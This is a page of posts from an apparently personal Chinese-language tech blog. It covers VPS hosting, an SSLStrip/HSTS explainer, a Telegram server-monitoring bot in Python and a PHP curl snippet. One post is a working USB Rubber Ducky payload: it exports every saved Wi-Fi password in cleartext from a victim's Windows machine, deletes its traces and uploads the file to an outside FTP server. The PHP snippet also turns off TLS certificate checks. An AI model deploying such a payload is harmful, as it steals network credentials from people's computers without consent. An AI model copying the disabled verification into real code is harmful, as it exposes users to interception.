Category:The Internet
Found 27 records. At Page 4 / 6.
-
2017-04-01 17:32:37更新於 2017-05-04 20:31:40
作為長久以來的網站架設與經營者,我做個簡短的介紹各種網站服務的型態,以及為何選用VPS架設自己的網站。
架設網站通常有很多種形式,尤其是Web Shared Hosting,這種服務通常是沒有自己的硬體資源,而且還必須和其他帳號共用資源,例如CPU、RAM,如果太高可能導致帳號被停用。另外就是IP也是共享的,除非加付錢買獨立IP,不然通常是同一個IP架設很多個網站對應不同的域名,這是最便宜的網站架設方案,一個月可能只有一美金至十幾美金,也是我最不推薦的一種。
第二類就是Dedicated Web Hosting,擁有自己的空間流量、包刮CPU、RAM、IP…等,差不多等於一台伺服器就只架設一個網站,但代價就是價格非常的高,一個月會花上幾十美金至上百美金。
接著還有所謂的Cloud Hosting,和Web Shared Hosting是很類似的,只是它比較穩定,而且是由多台伺服器在一起,價格也不會特別昂貴。缺點是更新了網站資料要同步更新到很多台電腦上面。
最後,就是VPS(Virtual Private Server)了,將一台機器的設備切割成很多分不同的部分,不過,每個使用者是有自己的RAM、CPU、甚至是獨立IP,並且大多數的供應商都會提供ROOT權限(最高權限),所以,同一台設備上其他用戶怎麼操作都不會消耗到你自己的硬體資源!相對於上面所提到的各種服務,這算是比較折衷的方案,而且也比較深入系統,可以運行的程式不單單是WebServer,想架什麼就有可以架什麼,整個系統都是自己的,通常是要有一定Linux操作經驗,當然也有賣Windows系統的VPS。
我個人是偏好Linux,覺得比較好,沒有用太多資源,導致自己的資源變少的問題,價格又不會太高昂。除非買配備更高級的方案,價格從幾美金到上百美金都有。
VPS供應商很多個,現在有幾個很熱門的VPS,如:DigitalOcean、Linode、AWS,我個人是推薦Linode拉,覺得穩定,速度也還不錯。性價比感覺比較高。目前用了接近一年,網站上線率算高的,雖然"偶爾"(每幾個月)可能會被DDOS,導致下線,但也是極少數發生的情況,而且這是所有服務供應者的通病。
Linode的方案:超連結

DigitalOcean的方案:超連結

以十美金的方案來比,還是Linode勝出!價格相同,記憶體多1GB。
推Linode:https://www.linode.com/
有網友有其他意見,歡迎留言。

WeilsNetLogo
This entry was posted in General, Experience, The Internet, Note, WebHosting By Weil Jimmer
.
-
2016-09-22 20:39:42更新於 2016-09-24 10:02:31
GUI r
DELAY 500
SHIFT
STRING cmd
ENTER
DELAY 500
SHIFT
DELAY 750
STRING cd %USERPROFILE%/Desktop
ENTER
STRING md wifi_pwd
ENTER
STRING cd wifi_pwd
STRING netsh wlan export profile key=clear
ENTER
STRING copy /b Wi-Fi*.xml wifi_pwd.xml
ENTER
STRING MOVE /Y wifi_pwd.xml ./../wifi_pwd.xml
ENTER
STRING cd ..
ENTER
STRING rmdir /Q /S wifi_pwd
ENTER
STRING ftp FTP.HOST.ORG
DELAY 750
STRING USERNAME
DELAY 750
STRING PASSWORD
ENTER
DELAY 750
STRING put wifi_pwd.xml
ENTER
DELAY 5000
STRING quit
ENTER
STRING exit
ENTER
This rubber ducky script will automatically create a FILE which consist of all the wifi password in target computer you pluged in usb.
Also, upload a wifi-password to ftp server.
Note: this script can't bypass Windows Firewall Msgbox!
WeilsNetLogo
This entry was posted in General, Functions, The Internet, Note, Wi-Fi By Weil Jimmer
.
-
2016-08-05 12:43:04更新於 2017-10-17 22:29:26

眾所皆知要監聽帳號密碼已經不是難事,如上圖所示已經取得了"非HTTPS"加密連線的帳號密碼。最近研究少有成果,來寫篇文章留個紀念,當作我已經懂了原理。若有錯還請各位高手指正。

正常HTTP連線是不會有任何駭客可以侵入,例如手機網路(不談破譯基站或偽造基站)、非共用的私人網段。

一旦在區域網路上有他人的存在,就可能造成資安漏洞被MiTM(中間人)攻擊,竊聽信用卡、帳密…等資訊,例如:公用電腦、公用WiFi。所以很多重要網站(如:Google、FB)都有透過加密連線。如下圖所示,綠色鎖頭 https。

HTTPS的誕生就是預防被竊聽,它的加密現在有兩種形式,一個是RSA、另一個是ECC,都是利用數學難題作為基礎來加密資訊。

由上圖可知,每台電腦在出廠時,都會有"證書"存在自己電腦,不需要經過網路傳輸。也就是 CA Root 。所有證書的簽發都是一層一層向下簽,CA簽發給CA下的單位如DV、OV、EV證書驗證機構,再簽發給域名。而瀏覽器默認信任CA Root,由於來源可靠,故此域名就跟著被一塊信任。


當攻擊者想要竊聽 HTTPS 時會造成問題,因為攻擊者沒有私鑰,無法解密訊息,導致此監聽就無意義了,故只能偽造證書。但是偽造證書會出現一個問題,瀏覽器會警告用戶此證書不可信任(域名錯誤、來源不可信…等)!


所以攻擊者需要監聽HTTPS的辦法就是,想辦法讓瀏覽器不要透過HTTPS連線,利用SSLStrip可以達到此目的,假設此伺服器是強制HTTPS的情況,就會變成駭客與伺服器做安全連線,而真實用戶與駭客間採用HTTP連線。

因為這種情況的發生,所以進而加入一個新功能HSTS,嚴格HTTPS連線,一旦連上了HTTPS,就會發送HSTS頭部訊息,瀏覽器接收後,此後不管任何到此域名的連線都會變強制在本地端做307導向。使攻擊者只能接受並原封不動的傳送此連線資訊,而無法被監聽。

但不少用戶在瀏覽器網址框都是直接打 域名 或是 打 http:// 而不是 https:// ,所以普遍用戶都是 301 轉跳到 HTTPS,在第一次連接時的頭部訊息,如果發動了攻擊,就可以偽造後續所有連線,所以…SSLStrip還是略勝一籌阿。

基於此緣故,現行網際網路又推行了一個新東西:HSTS preload,顧名思義,預先載入,各網站的擁有者可以登入自己的域名到 preload list,等日後瀏覽器更新時,就會把這些網站列表編譯進瀏覽器內。此後瀏覽器,不用透過 301 轉向,直接查詢網站是否在清單裡,如果存在,則直接強制HTTPS連線,就算用戶輸入 http:// 開頭,還是一樣強制307轉跳到https連線。

這已經是終極預防措施,不過,經過我去查網路上某資訊得知,這個清單在Chrome瀏覽器中並非靜態,造成可以利用Delorean時間竄改工具(參考),攻擊瀏覽器,使之 preload 清單的 域名 過期,回到原本 先訪問 HTTP 再 轉跳 HTTPS 的模式,造就了 駭客再次入侵。SSLStrip 還是贏了……防不勝防!上網時要注意看是不是綠色鎖頭喔~

WeilsNetLogo
This entry was posted in General, Experience, The Internet, Note, WebHosting, Wi-Fi By Weil Jimmer
.
-
2016-07-04 15:04:25更新於 2016-07-04 15:11:22

這是我第二篇文章有關於 Telegram 機器人,此機器人的功能極其簡單!監控伺服器的使用率,最近因為在伺服器又搞了一個很麻煩的東西,要時時刻刻注意有沒有異常。所以才寫了這個小程式(如圖)。
本文直接省略@BotFather產生機器人的說明,我想那應該不是問題。第一篇文章請參考:淺談Telegram開發機器人
本程式一旦運行,就不會停止,每隔固定幾秒鐘會自動更新訊息,會一直不斷的編輯,而不是一直送出(Telegram 有支持編輯訊息的功能)。直接上程式碼。這次使用Python,因為牽扯到系統,用 PHP 就不太適合了。
# coding: utf-8
"""By Weil Jimmer"""
import os,urllib.request,shutil,sys,re,datetime,json,psutil
from time import sleep
from sys import platform as _platform
def __init__(self):
print("")
GRAY = "\033[1;30m"
RED = "\033[1;31m"
LIME = "\033[1;32m"
YELLOW = "\033[1;33m"
BLUE = "\033[1;34m"
MAGENTA = "\033[1;35m"
CYAN = "\033[1;36m"
WHITE = "\033[1;37m"
BGRAY = "\033[1;47m"
BRED = "\033[1;41m"
BLIME = "\033[1;42m"
BYELLOW = "\033[1;43m"
BBLUE = "\033[1;44m"
BMAGENTA = "\033[1;45m"
BCYAN = "\033[1;46m"
BDARK_RED = "\033[1;48m"
UNDERLINE = "\033[4m"
END = "\033[0m"
if _platform.find("linux")<0:
GRAY = ""
RED = ""
LIME = ""
YELLOW = ""
BLUE = ""
MAGENTA = ""
CYAN = ""
WHITE = ""
BGRAY = ""
BRED = ""
BLIME = ""
BYELLOW = ""
BBLUE = ""
BMAGENTA = ""
BCYAN = ""
UNDERLINE = ""
END = ""
os.system("color c")
print (RED)
print ("*" * 40)
print ("* Name:\tServer Status Telegram Bot")
print ("* Team:" + LIME + "\tWhite Birch Forum Team" + RED)
print ("* Developer:\tWeil Jimmer")
print ("* Website:\thttps://weils.net/")
print ("* Date:\t2016.07.04")
print ("*" * 40)
print (END)
chat_id = "123456789"
api_key = "123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
root_dir = "/tmp/"
msg_id = ""
sleep_second = 5
def int_s(k):
try:
return int(k)
except:
return -1
def reporthook2(blocknum, blocksize, totalsize):
do_nothing=True
def url_encode(url_):
return urllib.parse.quote(url_, safe='~@#$&()*!+=:;,.?/\'')
def upload_URL(url,encode,data_X,method_X):
file_name="temp_file_pyserverstatus"
opener = urllib.request.FancyURLopener({})
opener.version = 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'
opener.addheader("Referer", url)
opener.addheader("X-Forwarded-For", "0.0.0.0")
opener.addheader("Client-IP", "0.0.0.0")
if method_X=="POST":
local_file,response_header=opener.retrieve(url_encode(url), root_dir + file_name, reporthook2, urllib.parse.urlencode(data_X))
else:
local_file,response_header=opener.retrieve(url, root_dir + file_name, reporthook2)
return open(local_file,encoding=encode).read()
def api_make_req_json(data_X):
api_url = "https://api.telegram.org/bot" + api_key + "/"
response=(upload_URL(api_url,"utf-8",data_X,"POST"))
return json.loads(response)
def sendMessage(text,chatid):
return api_make_req_json({"method":"sendMessage","chat_id":chatid,"text":text})
def editMessageText(text,chatid,messageid):
return api_make_req_json({"method":"editMessageText","chat_id":chatid,"message_id":messageid,"text":text})
while True:
time_now_str = "當前時間:\n" + str(datetime.datetime.now())
cpu_useage_str = "CPU使用率:" + str(psutil.cpu_percent(interval=1)) + " %"
memory_useage = psutil.virtual_memory()
memory_useage_str = "記憶體使用率:" + str(memory_useage.percent) + " %\n已用:" + str(round(memory_useage.total*0.01*memory_useage.percent/1024/1024/1024,3)) + " GB" + "\n總共:" + str(round(memory_useage.total/1024/1024/1024,3)) + " GB"
str_value = time_now_str + "\n" + cpu_useage_str + "\n" + memory_useage_str
if msg_id=="":
dom=sendMessage(str_value,chat_id)
msg_id=dom['result']['message_id']
else:
editMessageText(str_value,chat_id,msg_id)
sleep(sleep_second)
input("\n\n請輸入ENTER鍵結束...")
若在 Linux 的環境下,使用 tmux 輸入指令會比較好。因為它可以在背景運作,可以直接關掉 terminal。

WeilsNetLogo
This entry was posted in General, The Internet, Note, Python By Weil Jimmer
.
-
發布於 2016-04-25 20:16:502016-04-25 20:16:50
最近不知道要發什麼,這篇這是純當筆記用。
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $data);
if (stripos($data,'https://')===0){
//網址是https,設定SSL。
curl_setopt($ch, CURLOPT_SSLVERSION,CURL_SSLVERSION_DEFAULT);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
}
curl_setopt($ch, CURLOPT_VERBOSE, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36');
curl_setopt($ch, CURLOPT_MAXREDIRS, 999);
$html = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($html, 0, $header_size);
$html_body = substr($html, $header_size);
curl_close($ch);
WeilsNetLogo
This entry was posted in General, Functions, The Internet, Note, PHP By Weil Jimmer
.